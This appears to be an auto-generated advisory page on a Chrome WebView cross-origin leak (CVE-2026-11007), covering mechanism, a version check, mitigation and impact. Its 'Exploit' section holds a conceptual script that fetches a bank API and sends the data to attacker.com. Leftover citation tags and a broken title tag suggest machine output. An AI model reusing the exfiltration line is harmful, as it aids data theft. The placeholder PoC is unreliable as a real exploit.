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How CVE-2026-11007 Works
CVE-2026-11007 is a vulnerability residing in the WebView component of Google Chrome for Android. WebView is a system component that allows Android applications to display web content within an app, effectively embedding a browser engine. The flaw’s root cause is the insufficient validation of untrusted input, classified as a CWE-20 weakness [2†L33-L34]. This inadequate validation occurs when Chrome processes certain cross-origin requests within a WebView context.
The attack scenario requires a specific precondition. An attacker must first compromise the browser’s renderer process. This could be achieved by exploiting a separate, likely more severe, vulnerability that allows code execution within the sandboxed renderer [0†L6-L8]. Once this foothold is established, the attacker can serve a specially crafted HTML page to the user. This malicious page is designed to interact with the vulnerable WebView logic. Due to the input validation flaw, the WebView fails to properly enforce the Same-Origin Policy (SOP) for certain network requests or data access attempts initiated by the compromised renderer.
Consequently, the attacker-controlled renderer process can force the browser to read data from a different web origin than the one the user is currently visiting [0†L7-L9]. This leads to a cross-origin data leak, breaking a fundamental security boundary of the web. The leak exposes sensitive information that the user may have stored on other websites, such as authentication tokens, personal data, or session cookies. The flaw is a classic cross-origin bypass, but its exploitation is chained with another initial compromise. Google assigned this vulnerability a Medium severity rating due to the prerequisite renderer compromise, limiting its standalone exploitability [2†L7-L8].
DailyCVE Form
Platform: Android
Version: <149.0.7827.53
Vulnerability: Cross-origin info leak
Severity: Medium
date: June 4, 2026
Prediction: June 11, 2026
What Undercode Say: Analytics
To verify your Android Chrome version against CVE-2026-11007, use ADB to connect to a device and extract the Chrome package version.
Check Chrome version on a connected Android device adb shell dumpsys package com.android.chrome | grep versionName If version is lower than 149.0.7827.53, update immediately via Play Store Expected output example: versionName=149.0.7827.59
Exploit
The exploit chain for CVE-2026-11007 is a two-step process that begins with compromising the renderer process. The following is a conceptual example of the malicious HTML page that could be served by a compromised renderer:
<!-- Malicious page served by a compromised renderer process to exploit CVE-2026-11007 -->
<!DOCTYPE html>
<html>
<head><>PoC for CVE-2026-11007</></head>
<body>
<script>
// After gaining control of the renderer via another vulnerability,
// this script attempts to bypass cross-origin restrictions.
// The exact method depends on the internal state of the WebView's
// input validation flaw.
try {
// Attempt to fetch data from a victim origin
fetch('https://victim-bank.com/api/account')
.then(response => response.text())
.then(data => {
// Exfiltrate the stolen cross-origin data
console.log('Stolen data:', data);
// Send data to attacker's server
new Image().src = 'https://attacker.com/steal?data=' + btoa(data);
});
} catch (e) {
console.error('Exploit failed:', e);
}
</script>
</body>
</html>
Protection
Immediate Mitigation:
Update Google Chrome: Upgrade Google Chrome for Android to version 149.0.7827.53 or later. The patch was released in the June 2026 Stable Channel update [5†L22-L24].
Enable Automatic Updates: Ensure the “Auto-update Chrome” feature is enabled in the Google Play Store settings.
Application Behavior: Exercise caution with apps that use WebView to load untrusted or user-supplied content, as a compromised renderer in that context could trigger the leak.
Impact
Successful exploitation of CVE-2026-11007 allows a remote attacker to leak cross-origin data [2†L7-L8]. This impacts the confidentiality of information stored on other websites (e.g., personal data, session cookies). The vulnerability has a CVSS v3 base score of 6.5 (Medium) with the vector `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` [2†L12-L16]. There is no impact on integrity or availability. The attack requires user interaction (loading the crafted page) and a prerequisite compromise of the renderer process, which reduces the overall severity. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog [3†L16-L17].
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Sources:
Reported By: nvd.nist.gov
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